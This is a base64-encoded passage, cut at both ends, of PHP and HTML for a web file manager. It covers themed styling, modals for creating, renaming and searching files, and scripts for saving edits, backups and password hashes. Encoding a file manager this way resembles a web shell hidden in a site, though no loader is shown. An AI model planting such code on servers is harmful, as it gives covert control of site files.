9yKTsgfQogICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7IGJhY2tncm91bmQ6ICMyMTJhMmY7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnkgeyBjb2xvcjogI2I4ZTU5YzsgYm9yZGVyLWNvbG9yOiAjYjhlNTljOyB9CiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5OmhvdmVyLCAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeTphY3RpdmUgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMmQ0MTIxO30KICAgICAgICAgICAgLnRoZW1lLWRhcmsgaW5wdXQuZm9ybS1jb250cm9sIHsgYmFja2dyb3VuZC1jb2xvcjogIzEwMTUxODsgY29sb3I6ICNDRkQ4REM7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmRyb3B6b25lIHsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLmlubGluZS1hY3Rpb25zID4gYSA+IGkgeyBiYWNrZ3JvdW5kOiAjNzk3NTVlOyB9CiAgICAgICAgICAgIC50aGVtZS1kYXJrIC50ZXh0LXdoaXRlIHsgY29sb3I6ICNDRkQ4REMgIWltcG9ydGFudDsgfQogICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQsIC50YWJsZS1ib3JkZXJlZCB0aCB7IGJvcmRlci1jb2xvcjogIzM0MzQzNDsgfQogICAgICAgICAgICAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGQgLmN1c3RvbS1jb250cm9sLWlucHV0LCAudGhlbWUtZGFyayAudGFibGUtYm9yZGVyZWQgdGggLmN1c3RvbS1jb250cm9sLWlucHV0IHsgb3BhY2l0eTogMC42Nzg7IH0KICAgICAgICAgICAgLm1lc3NhZ2UgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMjEyNTI5OyB9CiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHsgYmFja2dyb3VuZC1jb2xvcjogIzNkM2QzZDsgfQogICAgICAgICAgICAjbWFpbi10YWJsZSB0ci5ldmVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzIxMjkyZjsgfQogICAgICAgICAgICBmb3JtLmRyb3B6b25lIHsgYm9yZGVyLWNvbG9yOiAjNzk3NTVlOyB9CiAgICAgICAgPC9zdHlsZT4KICAgIDw/cGhwIGVuZGlmOyA/Pgo8L2hlYWQ+Cjxib2R5IGNsYXNzPSI8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PiI+CjxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgogICAgPCEtLSBOZXcgSXRlbSBjcmVhdGlvbiAtLT4KICAgIDxkaXYgY2xhc3M9Im1vZGFsIGZhZGUiIGlkPSJjcmVhdGVOZXdJdGVtIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgZGF0YS1icy1iYWNrZHJvcD0ic3RhdGljIiBkYXRhLWJzLWtleWJvYXJkPSJmYWxzZSIgYXJpYS1sYWJlbGxlZGJ5PSJuZXdJdGVtTW9kYWxMYWJlbCIgYXJpYS1oaWRkZW49InRydWUiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgICAgICA8Zm9ybSBjbGFzcz0ibW9kYWwtY29udGVudCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSIgaWQ9Im5ld0l0ZW1Nb2RhbExhYmVsIj48aSBjbGFzcz0iZmEgZmEtcGx1cy1zcXVhcmUgZmEtZnciPjwvaT48P3BocCBlY2hvIGxuZygnQ3JlYXRlTmV3SXRlbScpID8+PC9oNT4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0bi1jbG9zZSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCIgYXJpYS1sYWJlbD0iQ2xvc2UiPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICA8cD48bGFiZWwgZm9yPSJuZXdmaWxlIj48P3BocCBlY2hvIGxuZygnSXRlbVR5cGUnKSA/PiA8L2xhYmVsPjwvcD4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWNoZWNrIGZvcm0tY2hlY2staW5saW5lIj4KICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iZm9ybS1jaGVjay1pbnB1dCIgdHlwZT0icmFkaW8iIG5hbWU9Im5ld2ZpbGUiIGlkPSJjdXN0b21SYWRpb0lubGluZTEiIG5hbWU9Im5ld2ZpbGUiIHZhbHVlPSJmaWxlIj4KICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTEiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tY2hlY2sgZm9ybS1jaGVjay1pbmxpbmUiPgogICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNoZWNrLWlucHV0IiB0eXBlPSJyYWRpbyIgbmFtZT0ibmV3ZmlsZSIgaWQ9ImN1c3RvbVJhZGlvSW5saW5lMiIgdmFsdWU9ImZvbGRlciIgY2hlY2tlZD4KICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iZm9ybS1jaGVjay1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTIiPjw/cGhwIGVjaG8gbG5nKCdGb2xkZXInKSA/PjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJtdC0zIj48bGFiZWwgZm9yPSJuZXdmaWxlbmFtZSI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPC9sYWJlbD48L3A+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im5ld2ZpbGVuYW1lIiBpZD0ibmV3ZmlsZW5hbWUiIHZhbHVlPSIiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgaGVyZS4uLicpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbiIgdmFsdWU9Ijw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtcHJpbWFyeSIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PGkgY2xhc3M9ImZhIGZhLXRpbWVzLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ2FuY2VsJykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc3VjY2VzcyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ3JlYXRlTm93JykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tIEFkdmFuY2UgU2VhcmNoIE1vZGFsIC0tPgogICAgPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSIgaWQ9InNlYXJjaE1vZGFsIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJzZWFyY2hNb2RhbExhYmVsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1sZyIgcm9sZT0iZG9jdW1lbnQiPgogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPgogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgPGg1IGNsYXNzPSJtb2RhbC10aXRsZSBjb2wtMTAiIGlkPSJzZWFyY2hNb2RhbExhYmVsIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwIG1iLTMiPgogICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcGxhY2Vob2xkZXI9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+IiBhcmlhLWxhYmVsPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iIGFyaWEtZGVzY3JpYmVkYnk9InNlYXJjaC1hZGRvbjMiIGlkPSJhZHZhbmNlZC1zZWFyY2giIGF1dG9mb2N1cyByZXF1aXJlZD4KICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImlucHV0LWdyb3VwLXRleHQiIGlkPSJzZWFyY2gtYWRkb24zIj48aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj48L2k+PC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvaDU+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIiBkYXRhLWJzLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+PC9idXR0b24+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imxkcy1mYWNlYm9vayI+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjxkaXY+PC9kaXY+PC9kaXY+CiAgICAgICAgICAgICAgICA8dWwgaWQ9InNlYXJjaC13cmFwcGVyIj4KICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibS0yIj48P3BocCBlY2hvIGxuZygnU2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uJykgPz48L3A+CiAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tUmVuYW1lIE1vZGFsIC0tPgogICAgPGRpdiBjbGFzcz0ibW9kYWwgbW9kYWwtYWxlcnQiIGRhdGEtYnMtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1icy1rZXlib2FyZD0iZmFsc2UiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBpZD0icmVuYW1lRGFpbG9nIj4KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+CiAgICAgICAgPGZvcm0gY2xhc3M9Im1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvdyA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiIgbWV0aG9kPSJwb3N0IiBhdXRvY29tcGxldGU9Im9mZiI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgIDxoNSBjbGFzcz0ibWItMyI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjwvaDU+CiAgICAgICAgICAgIDxwIGNsYXNzPSJtYi0xIj4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyZW5hbWVfdG8iIGlkPSJqcy1yZW5hbWUtdG8iIGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSI8P3BocCBlY2hvIGxuZygnRW50ZXIgbmV3IGZpbGUgbmFtZScpID8+IiByZXF1aXJlZD4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlbmFtZV9mcm9tIiBpZD0ianMtcmVuYW1lLWZyb20iPgogICAgICAgICAgICA8L3A+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciBmbGV4LW5vd3JhcCBwLTAiPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIGJvcmRlci1lbmQiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48L3N0cm9uZz48L2J1dHRvbj4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCiAgICA8IS0tIENvbmZpcm0gTW9kYWwgLS0+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvaHRtbCIgaWQ9ImpzLXRwbC1jb25maXJtIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbCBtb2RhbC1hbGVydCBjb25maXJtRGFpbG9nIiBkYXRhLWJzLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEtYnMta2V5Ym9hcmQ9ImZhbHNlIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgaWQ9ImNvbmZpcm1EYWlsb2ctPCV0aGlzLmlkJT4iPgogICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+CiAgICAgICAgICAgIDxmb3JtIGNsYXNzPSJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3cgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iIG1ldGhvZD0icG9zdCIgYXV0b2NvbXBsZXRlPSJvZmYiIGFjdGlvbj0iPCV0aGlzLmFjdGlvbiU+Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IHAtNCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICA8aDUgY2xhc3M9Im1iLTIiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88L2g1PgogICAgICAgICAgICAgICAgPHAgY2xhc3M9Im1iLTEiPjwldGhpcy5jb250ZW50JT48L3A+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMCI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tbGcgYnRuLWxpbmsgZnMtNiB0ZXh0LWRlY29yYXRpb24tbm9uZSBjb2wtNiBtLTAgcm91bmRlZC0wIGJvcmRlci1lbmQiIGRhdGEtYnMtZGlzbWlzcz0ibW9kYWwiPjw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWxnIGJ0bi1saW5rIGZzLTYgdGV4dC1kZWNvcmF0aW9uLW5vbmUgY29sLTYgbS0wIHJvdW5kZWQtMCIgZGF0YS1icy1kaXNtaXNzPSJtb2RhbCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnT2theScpID8+PC9zdHJvbmc+PC9idXR0b24+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9zY3JpcHQ+CgogICAgPD9waHAKICAgIH0KCiAgICAvKioKICAgICAqIFNob3cgcGFnZSBmb290ZXIgYWZ0ZXIgbG9naW4KICAgICAqLwogICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXIoKQogICAgewogICAgPz4KPC9kaXY+Cjw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz4KPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/Pgo8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz4KPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+CiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz4KICAgIDxzY3JpcHQ+aGxqcy5oaWdobGlnaHRBbGwoKTsgdmFyIGlzSGlnaGxpZ2h0aW5nRW5hYmxlZCA9IHRydWU7PC9zY3JpcHQ+Cjw/cGhwIGVuZGlmOyA/Pgo8c2NyaXB0PgogICAgZnVuY3Rpb24gdGVtcGxhdGUoaHRtbCxvcHRpb25zKXsKICAgICAgICB2YXIgcmU9LzxcJShbXlwlPl0rKT9cJT4vZyxyZUV4cD0vKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT8vZyxjb2RlPSd2YXIgcj1bXTtcbicsY3Vyc29yPTAsbWF0Y2g7dmFyIGFkZD1mdW5jdGlvbihsaW5lLGpzKXtqcz8oY29kZSs9bGluZS5tYXRjaChyZUV4cCk/bGluZSsnXG4nOidyLnB1c2goJytsaW5lKycpO1xuJyk6KGNvZGUrPWxpbmUhPScnPydyLnB1c2goIicrbGluZS5yZXBsYWNlKC8iL2csJ1xcIicpKyciKTtcbic6JycpO3JldHVybiBhZGR9CiAgICAgICAgd2hpbGUobWF0Y2g9cmUuZXhlYyhodG1sKSl7YWRkKGh0bWwuc2xpY2UoY3Vyc29yLG1hdGNoLmluZGV4KSkobWF0Y2hbMV0sITApO2N1cnNvcj1tYXRjaC5pbmRleCttYXRjaFswXS5sZW5ndGh9CiAgICAgICAgYWRkKGh0bWwuc3Vic3RyKGN1cnNvcixodG1sLmxlbmd0aC1jdXJzb3IpKTtjb2RlKz0ncmV0dXJuIHIuam9pbigiIik7JztyZXR1cm4gbmV3IEZ1bmN0aW9uKGNvZGUucmVwbGFjZSgvW1xyXHRcbl0vZywnJykpLmFwcGx5KG9wdGlvbnMpCiAgICB9CiAgICBmdW5jdGlvbiByZW5hbWUoZSwgdCkgeyBpZih0KSB7ICQoIiNqcy1yZW5hbWUtZnJvbSIpLnZhbCh0KTskKCIjanMtcmVuYW1lLXRvIikudmFsKHQpOyAkKCIjcmVuYW1lRGFpbG9nIikubW9kYWwoJ3Nob3cnKTsgfSB9CiAgICBmdW5jdGlvbiBjaGFuZ2VfY2hlY2tib3hlcyhlLCB0KSB7IGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSAiYm9vbGVhbiIgPT0gdHlwZW9mIHQgPyB0IDogIWVbbl0uY2hlY2tlZCB9CiAgICBmdW5jdGlvbiBnZXRfY2hlY2tib3hlcygpIHsgZm9yICh2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCJmaWxlW10iKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgKGVbbl0udHlwZSA9ICJjaGVja2JveCIpICYmIHQucHVzaChlW25dKTsgcmV0dXJuIHQgfQogICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITApIH0KICAgIGZ1bmN0aW9uIHVuc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITEpIH0KICAgIGZ1bmN0aW9uIGludmVydF9hbGwoKSB7IGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpIH0KICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHsgdmFyIGUgPSBnZXRfY2hlY2tib3hlcygpOyBlLnB1c2godGhpcyksIGNoYW5nZV9jaGVja2JveGVzKGUpIH0KICAgIGZ1bmN0aW9uIGJhY2t1cChlLCB0KSB7IC8vIENyZWF0ZSBmaWxlIGJhY2t1cCB3aXRoIC5iY2sKICAgICAgICB2YXIgbiA9IG5ldyBYTUxIdHRwUmVxdWVzdCwKICAgICAgICAgICAgYSA9ICJwYXRoPSIgKyBlICsgIiZmaWxlPSIgKyB0ICsgIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZ0eXBlPWJhY2t1cCZhamF4PXRydWUiOwogICAgICAgIHJldHVybiBuLm9wZW4oIlBPU1QiLCAiIiwgITApLCBuLnNldFJlcXVlc3RIZWFkZXIoIkNvbnRlbnQtdHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbiAoKSB7CiAgICAgICAgICAgIDQgPT0gbi5yZWFkeVN0YXRlICYmIDIwMCA9PSBuLnN0YXR1cyAmJiB0b2FzdChuLnJlc3BvbnNlVGV4dCkKICAgICAgICB9LCBuLnNlbmQoYSksICExCiAgICB9CiAgICAvLyBUb2FzdCBtZXNzYWdlCiAgICBmdW5jdGlvbiB0b2FzdCh0eHQpIHsgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic25hY2tiYXIiKTt4LmlubmVySFRNTD10eHQ7eC5jbGFzc05hbWUgPSAic2hvdyI7c2V0VGltZW91dChmdW5jdGlvbigpeyB4LmNsYXNzTmFtZSA9IHguY2xhc3NOYW1lLnJlcGxhY2UoInNob3ciLCAiIik7IH0sIDMwMDApOyB9CiAgICAvLyBTYXZlIGZpbGUKICAgIGZ1bmN0aW9uIGVkaXRfc2F2ZShlLCB0KSB7CiAgICAgICAgdmFyIG4gPSAiYWNlIiA9PSB0ID8gZWRpdG9yLmdldFNlc3Npb24oKS5nZXRWYWx1ZSgpIDogZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm5vcm1hbC1lZGl0b3IiKS52YWx1ZTsKICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHsKICAgICAgICAgICAgaWYgKHRydWUpIHsKICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge2FqYXg6IHRydWUsIGNvbnRlbnQ6IG4sIHR5cGU6ICdzYXZlJywgdG9rZW46IHdpbmRvdy5jc3JmfTsKCiAgICAgICAgICAgICAgICAkLmFqYXgoewogICAgICAgICAgICAgICAgICAgIHR5cGU6ICJQT1NUIiwKICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbiwKICAgICAgICAgICAgICAgICAgICBkYXRhOiBKU09OLnN0cmluZ2lmeShkYXRhKSwKICAgICAgICAgICAgICAgICAgICBjb250ZW50VHlwZTogImFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgiLAogICAgICAgICAgICAgICAgICAgIHN1Y2Nlc3M6IGZ1bmN0aW9uKG1lcyl7dG9hc3QoIlNhdmVkIFN1Y2Nlc3NmdWxseSIpOyB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtyZXR1cm59fSwKICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHt0b2FzdCgiRXJyb3I6IHRyeSBhZ2FpbiIpO30sCiAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge3RvYXN0KGA8cCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjpyZWQiPiR7bWVzLnJlc3BvbnNlVGV4dH08L3A+YCk7fQogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImZvcm0iKTsKICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKCJtZXRob2QiLCAiUE9TVCIpLCBhLnNldEF0dHJpYnV0ZSgiYWN0aW9uIiwgIiIpOwogICAgICAgICAgICAgICAgdmFyIG8gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0ZXh0YXJlYXBvcG9qaWNtcyIpOwogICAgICAgICAgICAgICAgby5zZXRBdHRyaWJ1dGUoInR5cGUiLCAidGV4dGFyZWFwb3BvamljbXMiKSwgby5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAic2F2ZWRhdGEiKTsKICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImlucHV0Iik7IGN4LnNldEF0dHJpYnV0ZSgidHlwZSIsICJoaWRkZW4iKTtjeC5zZXRBdHRyaWJ1dGUoIm5hbWUiLCAidG9rZW4iKTtjeC5zZXRBdHRyaWJ1dGUoInZhbHVlIiwgd2luZG93LmNzcmYpOwogICAgICAgICAgICAgICAgdmFyIGMgPSBkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShuKTsKICAgICAgICAgICAgICAgIG8uYXBwZW5kQ2hpbGQoYyksIGEuYXBwZW5kQ2hpbGQobyksIGEuYXBwZW5kQ2hpbGQoY3gpLCBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpLCBhLnN1Ym1pdCgpCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBmdW5jdGlvbiBzaG93X25ld19wd2QoKSB7ICQoIi5qcy1uZXctcHdkIikudG9nZ2xlQ2xhc3MoJ2hpZGRlbicpOyB9CiAgICAvLyBTYXZlIFNldHRpbmdzCiAgICBmdW5jdGlvbiBzYXZlX3NldHRpbmdzKCR0aGlzKSB7CiAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKTsKICAgICAgICAkLmFqYXgoewogICAgICAgICAgICB0eXBlOiBmb3JtLmF0dHIoJ21ldGhvZCcpLCB1cmw6IGZvcm0uYXR0cignYWN0aW9uJyksIGRhdGE6IGZvcm0uc2VyaWFsaXplKCkrIiZ0b2tlbj0iKyB3aW5kb3cuY3NyZiArIiZhamF4PSIrdHJ1ZSwKICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24gKGRhdGEpIHtpZihkYXRhKSB7IHdpbmRvdy5sb2NhdGlvbi5yZWxvYWQoKTt9fQogICAgICAgIH0pOyByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAvL0NyZWF0ZSBuZXcgcGFzc3dvcmQgaGFzaAogICAgZnVuY3Rpb24gbmV3X3Bhc3N3b3JkX2hhc2goJHRoaXMpIHsKICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLCAkcHdkID0gJCgiI2pzLXB3ZC1yZXN1bHQiKTsgJHB3ZC52YWwoJycpOwogICAgICAgICQuYWpheCh7CiAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR